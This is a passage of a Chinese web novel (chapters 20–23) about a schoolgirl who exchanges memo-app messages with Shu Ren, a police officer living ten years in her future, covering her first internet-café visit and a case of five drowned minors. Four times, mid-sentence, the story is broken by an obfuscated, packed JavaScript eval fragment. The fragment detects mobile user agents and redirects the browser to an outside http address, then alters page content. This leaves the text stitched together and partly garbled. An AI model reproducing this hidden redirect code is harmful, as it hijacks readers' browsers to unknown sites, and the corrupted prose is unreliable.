【就是因为之前礼堂的事,现在大家都认识我了,每个老师上课都点我起来回答问题,连瞌睡都不敢打!】 【作业也是,做得好就说“不愧是咱们的宣城小英雄”,做得不好就是“品学兼优,这品是有了,学还得跟上”,哎,我真想找个地方钻进去……】 【今天又有人把我写进作文了!啊啊啊,语文老师还专门拿到班上来念,问我什么感受,我能有什么感受……呜呜,这日子什么时候才是个头啊……】 林语禾承认,自己对舒任的确有依赖。 因为这些话,除了他,没有办法对其他人说。 无论是一心为她好的常女士,还是如今和她亲密无间的许归苑和莫雨娜,她们都是生活在当下的人,对于另一个时空中发生的一切都一无所知。 只有舒任知道,哪怕两人如今默契地对“时间线”这个问题避而不谈,但他知道她原本的结局,他改写了她的人生。 唯独在舒任面前,林语禾可以畅所欲言,想说什么就说什么,不必找任何借口为自己解释——屏幕那头的他一定会相信。 她知道自己的想法有些任性,甚至偶尔也会惴惴不安,担心一打开手机,就收到舒任不耐烦的拒绝,让她不要什么事都发。 ——然而一次也没有。 尽管很多时候,舒任都显得很无奈,可没有任何一次被他敷衍或是无视过。 那些信息虽然简短,却每个字都读得出认真的意味。 …… “小禾,小禾!” 林语禾回过神来,前排的两个女孩子正无奈地看着她。 许归苑撅了噘嘴:“我就说小禾是被老师们给盯得太狠了吧,这一天天的不是在埋头念书就是发呆。” “不对。”莫雨娜却摇头,不赞同闺蜜的说法,“小禾,你是不是谈恋爱啦?” 后半句话她压得很低,整个人倾身到了林语禾桌子前,像是面对面说悄悄话那样神神秘秘的。 许归苑顿时跟上了天线似的,“蹭”一下就凑了过来:“真的假的?!恋爱?!” “嘘!”莫雨娜瞪了她一眼,许归苑连忙缩了缩脑袋,把声音压了回去,“小禾,你真交男朋友啦?!” 林语禾连忙否认:“没有!” 莫雨娜撑着下巴:“没恋爱怎么会天天发呆傻笑,桂圆,你是没看见小禾刚刚笑得多荡漾,不是思春期是什么?” 桂圆是许归苑的小名,“一个是冉冉升起的宣城新星,一个是……我想想,哦,名列前茅的天才少年!怎么样,是不是很甜?” “停停停。”林语禾哭笑不得,“我可不是你笔下的女主角,而且你现在可不是要投《花火》,是要投《萌芽》,想点正经的好不好?” 莫雨娜叹了口气,十月底之前就要交稿子了,这都马上国庆了,她还是没有一点思路,现在是看见路边的花花草草都恨不得对方能变成自己的稿子。 “我说,真不行咱们就去投《花火》呗,你那么爱看狗血电视剧,这不是很适合你嘛。”许归苑说道,“什么白血病,车祸,失忆,姐姐妹妹错认身份,他爱她,她却爱他什么的……” “被我妈知道了腿都能给我打断,她才不信什么创作呢,只要我敢写谈恋爱,那肯定就是我早恋了!”莫雨娜吐了一通苦水,又把目光移回了林语禾脸上,“没谈恋爱,那是不是有喜欢的人?” “……” 莫雨娜只是随口一问,万万没想到,她面前的少女却沉默了下来。 许归苑往后一仰倒:“真的有?!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356855|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这次换林语禾急了:“嘘!别那么大声!” “哦哦……”许归苑悻悻地看了看周围,还好课间到处都吵吵嚷嚷的,她们也不是最浮夸的几个,根本没人注意到她刚刚叫了些什么。 她把板凳往前搬了一下,整个人都快贴到林语禾课桌上:“谁呀,咱们班的?” “要是咱们班的,我们俩能猜不出来吗。”莫雨娜说道,“应该也不是咱们年级的,没见小禾特别关注过谁,难道是高二高三的?” “你们就别猜啦,答案一定不对。”林语禾无奈地打断两个好友的畅想,“而且也不是你们想象中那种喜欢……只是有点在意,仅此而已啦!” “女孩子的喜欢不就是从在意开始的?”莫雨娜心心眼,“因为在意,才想要了解对方更多,想知道他喜欢什么,不喜欢什么,他现在在干什么——” 许归苑将她乱舞的手按了回去:“你妈不让你投《花火》是对的,我可不想看到这么甜得腻歪的小说~” “你才腻歪呢!”莫雨娜不甘示弱,扑到好友身上就开始挠痒痒,顿时两人战成了一团。 林语禾笑眯眯地坐在一边看两个活宝闹腾,脑海中却不期然闪过备忘录的荧幕。 她的确想要了解舒任更多,不仅仅是十年后,而且还有现在……现在的舒任,是什么样子的呢? 她翻出手机。 【你是在宣城读的书吗?】 【嗯】 【一直在宣城?】 【对】 【那你是哪个学校的?一中还是三中?】 【四中】 【那离我有点远呢。】 宣城的学校是抱团式规划,刚刚林语禾提到的一中和三中,就跟六中隔了一条街。 但四中却要远很多,骑自行车也要十来分钟。 “小禾,跟谁发短信呢,我要看我要看!” 林语禾眼疾手快地把手机塞回了兜里,许归苑遗憾地吹了口气:“没看到。” 莫雨娜说道:“我刚刚和桂圆说,今天放学以后咱们去一趟四中那边,小禾你去不去?” 四中?林语禾心里一动:“去做什么?” “咳咳。”莫雨娜左右瞅了瞅,看见老师还没来,她用手掩着嘴巴,低声道,“去网吧!” 21. 第 21 章 林语禾从来没有去过网吧。 最大的原因自然是常女士不允许,“网吧”对于家长来说,无异于是“毒.品”的代名词。 从物质贫瘠年代过来的老一辈无法理解,也不愿意理解,为什么年轻人一旦碰了电脑,就跟吸了毒一样上瘾。 尽管最近和常女士关系好了许多,母女俩偶尔甚至会坐在一起聊天谈心,可在这种关键问题上,林语禾可不打算挑战她妈的神经。 好在莫雨娜和许归苑都是女生,在陌生人面前更是一个比一个乖巧懂事,常美琴压根没往那方面想,还想着女儿是不是结交了所谓的“闺蜜”,私底下还给林语禾塞了一百块钱。 “想买什么漂亮东西就掏钱买,你也十六岁了,想打扮妈妈不拦着你。” 林语禾心虚地点点头,这下更不敢告诉对方自己是要去网吧了。 她没去过四中附近,人生地不熟,许归苑和莫雨娜却显然常来。 “你们俩不会也是跑这儿来打游戏吧?” 现在打游戏可是潮流,班上许多男生都在玩,什么梦幻西游,什么天龙八部,听得林语禾云里雾里的。 她压低声音询问身前的好友,身体有些紧绷。 网吧和林语禾想象中完全不同,她之前还问过舒任网吧长什么样子,他明明告诉她环境很宽敞明亮,还能在网吧里头吃饭,可眼前的这些简直和舒任说的一点也不像。 这儿甚至不需要身份证就能进! 灯光昏暗,不知道哪个位置上有男生拍着桌子跳了起来,耳机都甩到了一边:“卧槽这海涛,这么针对09的吗!” 林语禾吓了一跳,抱着书包往后缩了缩。 “我们才不玩呢,喏,那就是个玩DOTA的,你看他多激动——”许归苑挽着她手臂,努了努嘴。 就许归苑说话的这会儿,大厅里时不时还响起玩家的怒吼,也听不出来是什么游戏。 只有噼里啪啦响成一片的键盘声,和屏幕上映出来专心致志的一张张脸。 “桂圆,小禾,过来过来,咱们坐这边~”莫雨娜找到了一个角落里的三连座,“今天运气不错啊,还有沙发卡座呢!” 两个女生习以为常地拿出餐巾纸,将面前的键盘鼠标甚至是沙发靠座都擦了一遍,又帮林语禾把她的也擦干净。 三人落座下来,林语禾已经隐隐开始后悔今天跑过来了,她吞了吞口水:“咱们到底是来干嘛的?” 一直神神秘秘不回答的莫雨娜终于正了正脸色,拍了一把面前的键盘:“搞创作!” 原来莫雨娜私底下没少写言情小说,可在家里她可不敢搞创作,一个不好就会被亲妈抓包,所以干脆找了班上那些男生“带路”,去网吧里写。 “咱们六中旁边太危险了,这些老师特别爱上网吧抓人,一抓一个准。”莫雨娜熟练地打开电脑,“要是给老舒知道我在网吧那可就完了!” 每次写好的内容用邮箱发给自己,就当做存好了,U盘她都不敢带,生怕被家里人发现。 以她妈的性格,知道她打游戏倒还罢了,要是知道她在写小说,那莫家今天天都得塌下来。 莫雨娜说着戴上了耳机:“我这周想了个特别好的点子,我马上就写,万一这次投稿中了,我请你们喝奶茶!” 说完她就打开word,手指在键盘上噼里啪啦地飞舞了起来。 别人是去打游戏,在里面喊得震天响,莫雨娜就坐在她身边,戴着耳机听情歌,陶醉在自己亲手创造的爱情里。 林语禾再看另一边坐着的许归苑,显然对方不是第一次陪莫雨娜跑来网吧,这会儿已经气定神闲地打开了优酷看起了视频。 还是这两年最火的《我的团长我的团》。 就她一个不知所措地坐在中间哭笑不得,这算什么事儿啊! 许归苑倒是劝她来都来了还不如找点什么东西玩,实在不行去打斗地主也好,可林语禾看着桌面上那一溜串看不懂的图标就心生退意。 她干脆把□□挂上,又从书包里翻出手机,打算和舒任聊聊天,正好抗议一下他“谎报军情”这件事。 许归苑脑袋歪过来看了一眼:“怎么带的这个手机呀,电话短信都打不通,等会走散了找不到。” “没呢,只是带着备用。”林语禾从包里把另一个手机亮了半截出来,又赶紧塞了回去,“这个才是咱们联系的。” 许归苑点点头,又把目光收回去继续看她的电视剧。 林语禾抿了抿唇,在备忘录里打字。 【你骗我:(】 【?】 【网吧一点都不好,全是打游戏吱哇乱叫的男生:(也没有吃的,只有方便面】 【……】光标在这儿停顿了许久,终于弹出了下一行字,【你在网吧?】 【嗯,就四中旁边这个什么追梦网吧,你不会也来过吧!】 【没有,我不喜欢网吧】 【你还是好学生哦~】 舒任苦笑着发了个省略号过去,他不喜欢网吧并不是因为所谓的上网影响成绩,老舒对他一向是不长歪就行,哪怕去网吧,只要提前跟老舒报备好理由,也不是不能去。 他对网吧的抵触完全是因为当年的一次黑历史经历……说起来,还正好就是这一年国庆发生的事情。 屏幕上亮起了林语禾的回复,小姑娘一如既往地毫不掩饰自己的好奇心,隔着屏幕也能想象得出来她双眼亮晶晶,像是猫看到逗猫棒的表情。 舒任想了想,还是告诉了她。 其实事情说起来很简单,就是因为网吧这个地方,他被唐明坑了一次。 十年前,他和唐明都还在四中念初中,那会儿唐明迷上了《龙之谷》,每天下课都要溜去追梦网吧打游戏打到晚上才回家。 舒任恰好是校篮球队的要训练,就成了死党的挡箭牌。 那天校队休息,唐明怕露馅,非得要舒任一起去追梦,又承诺打了金出来提现请他吃夜宵,舒任就同意了。 结果两人骑自行车去追梦的时候路过一处窨井。 好巧不巧,井盖不知道被谁给偷了,当时就把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356856|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自行车胎给压爆了,运气好没人摔进窨井里去,可唐明手臂肿得老高,没办法只能去医院。 这就麻烦大了,父母来医院一问就知道唐明之前撒了谎,肯定要挨打,唐明就“聪明机智”地想出了一个绝妙的主意——医生问他父母联系方式的时候,登记了舒任的手机号。 【你发小这个想法好神奇……后来呢?】 【被医生看穿了,差点挨打。】 舒任现在想想,那确实是个再馊不过的馊主意,唐明确诊手臂骨折,必须要父母陪护。 他在电话里支支吾吾,就引起了医生的怀疑,宣城本身不大,七弯八绕的总能找到熟悉的人,没多久唐明父母急匆匆赶来,差点没把病床上的儿子一顿好打。 当然,后来唐明出院,他父母又把这顿打给补上了——舒任当然也没好到哪儿去,被老舒给骂了个狗血淋头,还成了医院里医生护士们茶余饭后的谈资。 还好他身体一向健康不用进医院,否则他宁肯多坐几个小时的客车去省城看病。 唯一的好处恐怕就是唐明拿了一千块营养费。 挨了一顿打,他爸妈却也一码归一码,又找上了市政的麻烦,窨井没井盖是事实,要是运气不好摔进去了没命怎么办? 市政不敢把这事儿闹得太难看,当即就给了一千块给唐明看病,还有部门领导亲自带着果篮上医院来慰问,给唐明美得不行。 【那营养费呢,请你吃夜宵了?】 【拿去追梦充网费了。】 【那你让他请你上网!】 【没多久官方搞了个清朗计划,把全宣城的黑网吧都查封了】 【钱没拿回来?】 【当然】 隔着屏幕,林语禾也能读出舒任语气中的郁闷。 她笑得肚子痛。 想想也是,连身份证都不用就可以上网,妥妥的黑网吧,又引发了舒任死党这么个意外,不被一窝端才怪。 微妙的事情是,她自己这会儿就坐在追梦网吧里,就像是冥冥中有一条线,千丝万缕地把屏幕两端的两个人连接了起来。 莫雨娜到最后也没敢写多久,她给家里找的借口是和林语禾、许归苑她们一起复习功课,要是再晚点,她爸妈肯定会怀疑。 从网吧出来,莫雨娜招呼着两人把身上外套脱了下来,狠狠地抖了几下,又喷上了六神花露水,这才满意地让她们穿了回去。 “这样烟味就闻不出来了。”她洋洋得意地分享自己的经验,许归苑问她今天写得怎么样,莫雨娜轻咳两声,“……还行,估计还得写几天。” 林语禾转身看了一眼网吧门口的招牌:“那你国庆之前就多来几趟,把它写完?” “?” 林语禾指着上面的“追梦网吧”四个大字,提醒道:“这种黑网吧,万一哪天被端了钱就拿不回来了。” 莫雨娜一挥手:“不可能,绝对不可能。 “它都开了好多年了,四中每届学生都在这上过网呢,这要是都关了,那全宣城的黑网吧都得关门啦!” 22. 第 22 章 【我上次不是和你说,认识了两个新朋友嘛,她们约我国庆节去爬临宣山,你觉得怎么样?】 林语禾放下手机,摊开语文课本继续枯燥地背文言文和古诗。 明天就是月考,据班主任说是为了抓紧国庆这前头两天,一口气要给他们考掉九门。 “高一的第一次月考,可得好好给你们这群小家伙上一课。” 老舒脸上笑嘻嘻的,下头的学生却一个个皮都绷紧了,更别说月考结束紧接着就是国庆,老师们可不会让这群学生快乐地玩一个假期,回来再面对成绩。 想也知道绝对是连夜批改,怎么也会在放假之前出成绩。 光是想想,林语禾都知道这两天日子不会太好过,要积蓄精力应付接下来的月考硬仗,还得祈祷别考得太差,到时候国庆放不成,还要在家被她妈押着做题。 但是,那可是国庆啊。 作为学生,一年当然不止这七天假期,光是寒暑假的存在就足够让毕业上班的打工人眼红。 可不知道为什么,国庆七天假期和寒暑假感觉就是不一样,光是想到就充满了幸福,尤其是今年这个国庆小长假。 或是是因为它对林语禾来说还有另一重意味——这是她交到新朋友之后的第一个假期,三人早就在□□上热烈讨论了不知道多少次,关于放假要一起去哪儿玩的话题。 当然,不是用的这个手机。 林语禾手里的那个5220XM不知道出了什么问题,既接不到电话,也发不了短信,干脆给她买了个新的。 用的就是彩票中奖的钱,她妈思来想去还是觉得这钱得花在她身上。 诺基亚5233,上半年才出的新款,一下就去了三千块奖金的一半,好处就是林语禾终于可以用上眼下最流行的□□和许归苑她们聊天了。 “呼……” 这些文言文和古诗词早就背得滚瓜烂熟,林语禾用作业纸挡住下面的注释,快速地将它们在脑海里过了一遍。 确定考试里头不会自乱阵脚,这才合上了课本,将旁边的数学练习册给拖了过来。 接下来才是最难的部分,得把上面的错题再集中过一遍,林语禾看了一眼安静躺着的5220XM,这个直板手机上唯独还有那个备忘录能用。 不知道她花了多少口舌,才忽悠得常女士没让她现在就把这手机丢掉。 林语禾伸手将它拿了起来。 舒任的回复果然已经到了。 【还行】 【你国庆一般都做什么啊】 【队里值班】 林语禾:“……” 【读书的时候呢?】 【打篮球】 【没啦?】 【睡觉算吗】 【不算】 【那没了】 他还真是回答得干脆利落。 林语禾像只仓鼠似的鼓了鼓腮帮子,正要打字,对面的留言却先发而至。 【你喜欢爬山?】 【还行吧,爬山有点累:(】 台灯下,男人手指修长,老旧的九宫格键盘上轻快跳跃,在墙壁上映出长长的倒影。 这是个难得不用值班的夜晚,但舒任面前的笔记本电脑仍然启动着。 上面正显示着某度的搜索界面,隐约能看见2010年几个字。 【也可以换个地方,我记得这个国庆,正好新世界开业了吧】 【诶,是吗,等会我看看】 过了一会儿,林语禾的留言姗姗来迟。 【还真的是!林叔叔送我的游泳票就是新世界里面那家游泳馆的,我约她们去游泳好了!】 【好】 【你怎么知道新世界开了……十年前的事情,你记得那么清楚啊!】 【我网上搜的】 【当我没问~】 舒任勾了勾唇角,依稀能看见屏幕那边的小姑娘正一脸不服气,像只甩尾巴不耐烦的小猫。 他动了动手指:【明天考试复习得怎么样?】 果然将猫惹得更生气了,画面中的光标闪啊闪,林语禾一口气发了五六个感叹号过来。 【我和数学不共戴天!!!】 数学的确是人类共同的敌人,学霸解不出难题,学渣解不出题,而它也非常诚实,学不会就是学不会。 隔着手机,林语禾的抓狂也已经非常生动形象地传递到了十年后的舒任这里。 他只能安慰一句【高考结束就好了】。 没想到林语禾压根不上当。 【高考结束就好了~大学毕业就好了~找到工作就好了~大人都是骗子>_ 【……】 好吧,舒任摸摸鼻子,即使是十年前的学生,看来也并没有想象中好“骗”。 林语禾还在哀叹为什么不早一点分科,自从她听说十年后已经变成新高考科目还能自选之后,她就对文理分科望眼欲穿。 用小姑娘的话来说,虽然等不到能自己选的那天,但分科之后好歹还能少考三门课。 舒任已经很多年没有和女孩子打过交道,更别说是这么个年纪轻轻的小姑娘。 十五六岁,正是生机勃勃的时候,学不会婉转,更不会像成年人之间交往一样,把分寸当成一切,想就是想,不想就是不想,光是透过她的留言,都能感受到青春的青涩稚嫩。 所以舒任才更加头疼要如何和林语禾相处。 尤其是刚刚她发来那句话,一眼就能看出来小姑娘心情不好,却还是强颜欢笑不想表现出来,舒任没来由地就心软了。 他看了一眼笔记本电脑的屏幕,打算换个话题,转移一下她的注意力。 2010年的国庆……除了新世界,还有什么? 就在舒任手中鼠标飞快滑动的时候,忽然,他的手机响了起来。 不是这个老古董诺基亚,而是他自己的手机。 来电显示“师傅”,舒任脸上的笑意一收,接起电话,那头传来低沉沙哑的中年男人声音。 “有任务,马上归队!” …… 舒任到局里的时候,现场已经是一片混乱。 这个点按理来说只会有值班队员,可眼前来来去去的全是人。 不远处,会议室里此起彼伏的都是翻资料的声音,办公室的接线电话嘟嘟嘟响个不停。 见他来了,有认识的面孔点点头就算是打过招呼,更多人手上抱着文件袋,要么就是耸起肩膀把电话夹在耳朵旁边正在打电话。 每个人都神色肃穆,行色匆匆。 走廊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356857|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上还有一对中年夫妇。 “我女儿白天还好好的,怎么突然就死了,是不是有人把她害死了——”那男人大叫道,“你们把我女儿的尸体弄哪儿去了,是不是你们串通好了凶手要毁尸灭迹,我要告你们!” “我们很理解您二位现在的心情,孩子遭遇不测,大家都没办法接受,但请您冷静一下,现在法医正在对孩子的遗体进行检验,这是为了尽快确定孩子生前遇到了什么情况,咱们才能给孩子一个交代,对不对?” 女警苦口婆心地劝着,听到“死”字,那父母中的母亲尖叫起来:“我女儿死在你们警察局了,你们必须赔钱,赔钱!” 她丈夫也破口大骂起来:“你算个什么东西在这儿跟我讲话,让你们局长出来见我,我要个交代,不然我就去告你们——告你们和凶手狼狈为奸!” 女警赶紧安抚:“您先别激动,现在还没有确定具体情况,不能这样下结论……” “臭女人你懂个屁,给我滚到一边儿去!” 那男人恶狠狠地看了她一眼,手高高地抬了起来,就打算撂面前的女警一巴掌! 他的手却没能落下去,足足比他高了一个头的舒任赶了过来,轻而易举地将他的手给压制住了。 “这里是公安局。”舒任冷冰冰地说道,“冲动解决不了问题。” 男人惊恐地挣扎着,那只禁锢住他的手却像是铁钳一样怎么也挣扎不开,他这才服了软:“我不闹了,不闹了行吧!” 舒任这才松了手,那男人怂怂地揉了下手腕,嘴巴上还不依不饶地骂了一句“算个锤子的人民公仆”,但手上却老实地不敢真的打人了。 女警感激地看了舒任一眼,舒任摇摇头,径直去更衣室换衣服。 等他换好制服出来,刚刚那对夫妻已经不见了,女警小跑着过来和他道谢:“……总算是把人送去休息室了,刚刚真是谢谢你啦!” 舒任正要说话,烟雾缭绕的会议室吱呀一声,大门打开,师傅踱了出来,那女警顿时站直了身体:“闫队。” “其他家属呢?”老闫瞟了一眼空空如也的走廊,问道。 “有一个孩子家里人联系不上,还有一个说她不管,让我们自己看着办,还有两个父母在外地打工,说是现在请假赶回来。” 女警话音刚落,老闫皱了皱眉,从他身后陆续又挤出几个脑袋来,都穿着一样的刑警队制服,神色疲惫。 “自己孩子出了事,怎么还有人不管?” 女警摇摇头,表示她也不知道其中到底有什么问题。 众人脸色都很不好看,出了人命,无论是什么原因,他们现在都是压力最大的那一面。 偏偏宣城市今年还在和其他城市争什么安全模范城市,这事儿要是处理不好,整个局里都要吃挂落。 “舒任,进来。” 舒任应了一声,跟在师傅身后进了会议室。 刚进门,他就闻到了一阵浓烈的烟味,舒任不抽烟,但在场的老刑警没几个不抽烟的,他赶紧反手将门掩上。 会议桌坐得满满当当,不知道熬了多久的警员们个个脸色憔悴不堪。 每个人桌上都放着咖啡或是浓茶,即使如此,还是有人在不停地打哈欠。 “这次的资料,你也看看。” 23. 第 23 章 老闫丢过来一个文件夹,舒任打开,里头是用回形针锁起来的五个册子。 最前头的那个名字叫蓝茵,个人信息上挂着她的照片,小小的方块里,女孩抿着唇,眼睛笑得像是一弯温柔的月牙。 “三男两女,全是未成年。”老闫长长地吐出一口烟雾,“在临宣山那条山溪里头发现的。” 舒任快速地翻阅完五人的资料。 没有外伤痕迹,没有打斗迹象,没有拖拽和移动的痕迹。 “报警人说,发现这几个孩子尸体的时候,它们就已经在溪流里了。”老闫皱起眉,眉尖有一道深深的沟壑,“最近涨水,不排除是从山上漂下来的,勘察队还在现场找线索。” “有泡沫锥,也出现了皮肤皱缩的现象,完全符合溺亡的表现。”舒任说道,“如果法医那边的发现对得上……” “那就基本确定是溺亡,对吧。”老闫呼了口气,点了点桌面上的文件,“那么,问题来了,原因呢。” “为什么会在临宣山溺亡,偏偏还是在一条溪沟里,半夜三更的,是几个孩子偷跑上山找刺激,失足滑进了水里淹死? “还是被人引诱或是强迫,不得不跳进水里,最后窒息淹死?” “甚至有没有一种可能……这几个孩子是相约集体自杀?” 舒任沉默。 “原因才是最难找的,”老闫说道,“这不是阿猫阿狗,而是五条活生生的人命,这些孩子不是凭空出现在世界上,他们背后还有五个家庭。” 老闫伸手,将只剩了个屁股的香烟在烟灰缸里摁灭,幽幽道:“做好准备吧,最近一段时间会很忙了。” …… 【抱歉,接下来会很忙】 林语禾收到舒任回复的时候,已经是第二天的下午了。 昨晚上等了好久,舒任都没有回她信息,她只好先和许归苑她们在Q/Q上留言说国庆一起去游泳的事情。 后来舒任还是没回,她又把已经梳理过一遍的错题又拿起来看,可直到最后她不得不躺下睡觉,他也没回她信息。 林语禾想,舒任恐怕是被临时叫去值班了。 听说公安局人手不够,有时候值班的要出外勤,就得叫其他人去局里守着,之前舒任也有在单位忙碌起来就不理人的“前科”。 但林语禾没想到的是,他说“接下来”会很忙。 接下来三个字,让人感觉很不安,就像一条只有开端,却没有终点的线,她拼命踮起脚也看不见尽头在哪。 是发生了什么事情吗?她想问,可是手指落在键盘上,又缩了回来。 就算问到了结果她也帮不上什么忙,反而舒任要分心来回复她会耽误正事。 这种时候,林语禾就觉得两个人隔着十年的距离不是什么好事。 除了徒增烦恼,什么也做不到。 “啊,好烦——” 一脸悲伤的莫雨娜扭过头来:“小禾,你作文也写偏题了?” “啊?没有……”林语禾呆呆地看着她又扭过头去开始大哭特哭,“我作文怎么会写偏题呢,我作文怎么就写偏题了呢!” “啊啊啊,今天数学好难啊,我要死了,不会不及格吧……” 最后一节下课铃响起,人群稀稀拉拉地往外走,走廊上堆叠着不少桌椅,还有些被推到了角落里去以免挡路。 这是高一的第一次月考,对于很多人来说,这决定了他们国庆回家是吃竹笋炒肉父母混合双打,还是吃山珍海味。 所有人都在激烈地讨论着今天的考试,对答案的对答案,还有人跺着脚后悔自己不该改答案。 “C才是对的,我一开始就选的C,结果被我改成B了!” 一向活力十足的两个好友也没了扑腾的力气,许归苑像只无尾熊一样吊在林语禾身上假哭:“要是我被老舒追杀了,你一定要救我——” “哪有这么夸张。”林语禾哭笑不得,“老舒还是不至于追杀你的。” “你不懂老舒的可怕!”许归苑悲愤地说道,“老舒狠起来,连校长都要绕着他走!” 都说新官上任三把火,舒老师是刚当上年级主任,就烧了月考这把大火。 莫雨娜还在纠结她的作文:“偏题该不会直接给个35分,看都不看了吧,我今天论点还找得挺好的,我还用了边沁当例子呢,知道边沁不?可冷门了,老师应该能给我加点分吧?” 林语禾却是真的感觉还好,不知道是不是因为最近被老师们“虎视眈眈”一点也不敢松懈,今天考场上的每道题,她都像是在练习册里似乎做过类似的,有种似曾相识的感觉。 “要不你们俩也试试看题海战术?” 许归苑脑袋摇得像拨浪鼓:“不不不,我还是算了,我宁愿被老舒追杀,也不想面对数学!” “我也不要,过度做题会磨灭我的灵感。”莫雨娜也说道,“我萌芽的征文还没写呢。” “你那萌芽什么时候才写啊,我看你天天跑网吧都惦记你那言情小说去了。” “嘘!!都说了不要在学校里大声说这个——” 眼看两个活宝又开始张牙舞爪要大战,林语禾连忙转移了话题:“Q\Q上我留言你们都收到没,咱们国庆去新世界游泳?” “收到了收到了!我正想问呢!”许归苑顿时丢下莫雨娜,亲昵地挽上了林语禾的胳膊,“你哪来的票呀小禾?” 林语禾迟疑了一下,坦然道:“我叔叔的朋友给的……上次你们来我家看到的那个就是我叔叔。” 俩女生对视一眼,恍然大悟地“哦”了一声。 许归苑指了指旁边的莫雨娜:“雨娜很会游泳的,每年夏天我们都一起游泳,但六中游泳池不是拆了么,今年还没游到呢。” “新世界那个我记得还是恒温泳池来的吧?” “对。”林语禾点了点头,“恒温室内游泳池。” 她暗自松了口气,庆幸两个好友都没有继续问她关于林叔叔的话题。 “也是,不然这十月份谁有那能耐下去游啊,冷都给人冷出病来了。”许归苑说道。 “就是根本买不着票。”莫雨娜郁闷地接过话头,“咱们市里头不是有个什么冬泳跨江冠军么,那个人据说要来这个游泳馆当教练,票都抢疯了,根本买不到。” “我问我妈,她让我有这时间多在家里看书,少出门玩,小心考不上大学——小禾你竟然有三张票,羡慕死我了!” “家长都这样,好像一次考试就能把咱们终生框死了似的,这才高一,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356858|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道他们怎么就那么着急。”许归苑蹭了蹭林语禾,“还是小禾家里人对你好~咱俩是沾光了~” “嗯,确实挺好的。”林语禾有些不好意思地笑了笑。 正如她和常女士的关系缓和一样,她和叔叔林勇之间如今也不像从前那么生疏。 改口叫爸爸这件事是不可能做到了,但林叔叔似乎也并不在意,反而是每天笑呵呵的,似乎听她叫一声叔叔,也让他十足开心。 最近更是背着她妈,私底下给她塞了不少零花钱,让她在学校想吃什么想买什么都行,对她是溺爱得不行。 所以当下好友问起,林语禾也没有昧着良心否认,的确林叔叔无论作为常女士的丈夫,还是作为一个继父,他都已经全力以赴做到最好了。 但林语禾没想到的是,她对于家里人表达关爱的理解还远远不够。 考完最后一科回到家后,林语禾看着自己卧室床上铺得满满当当的泳衣,心情有些崩溃:“妈,你买那么多做什么啊!” “怎么啦?这不是什么款式都有吗?”常美琴叮嘱丈夫好好做菜别炒糊,擦着手从厨房里头出来踱进女儿房间,反手将房门关上,“妈又不知道现在小女生喜欢什么,那店员说这个好那个好的,就全买回来你试试呗。” 林语禾有些无语:“可是这也太多了……” 什么分体式,连体式,一会儿有裙子,一会儿有裤子,甚至还有类似于电视上那些专业运动员穿的“鲨鱼服”。 光是看都感觉自己看不过来,更别说从何挑起了。 “我也不会游泳,随便挑一套就好了。”林语禾说道,“其他的你拿去退了吧,我也没穿,试都没试,肯定能退。” “不用退,这点钱咱们家还是出得起的。”常美琴摇摇头,冲她眨了眨眼,“反正你林叔叔报销。” 林语禾默默地看着她妈,但最终还是败下阵来:“……好吧,就是真的太多了。” “有什么关系,你要是喜欢,妈妈给你办个卡,每个月去游就是了。”常美琴说得理直气壮,“到时候每次去都换一套,换到你开心为止!” 她怜爱地看着女儿,还是这次林语禾主动提出来想用那些票请朋友一起去玩的时候,她才注意到,原来女儿已经长得这么大了。 有了自己关系好的朋友,有了自己想做的事情,不是当年那个险些摔下河滩,被惊魂未定的自己抱在怀里嚎啕大哭的小女孩了。 就是那次以后,女儿就再也不肯靠近水了,无论是野外的湖泊,还是城市里的游泳馆,她不肯学游泳,也害怕碰到水。 为此,小学的游泳课,林语禾一节也没有去上过,每到常美琴给老师请假的那天,她晚上都会做噩梦。 梦见过女儿直直地摔下去,摔成了一团血肉,而自己只能眼睁睁地看着什么也做不了。 常美琴摸了摸林语禾的头发,语气出乎意料地温柔:“想去做什么都可以,妈妈支持你。” “……知道啦!”林语禾有些不好意思地抱了抱母亲,轻轻地将她推了出去,“锅好像糊了,你快去看看!” 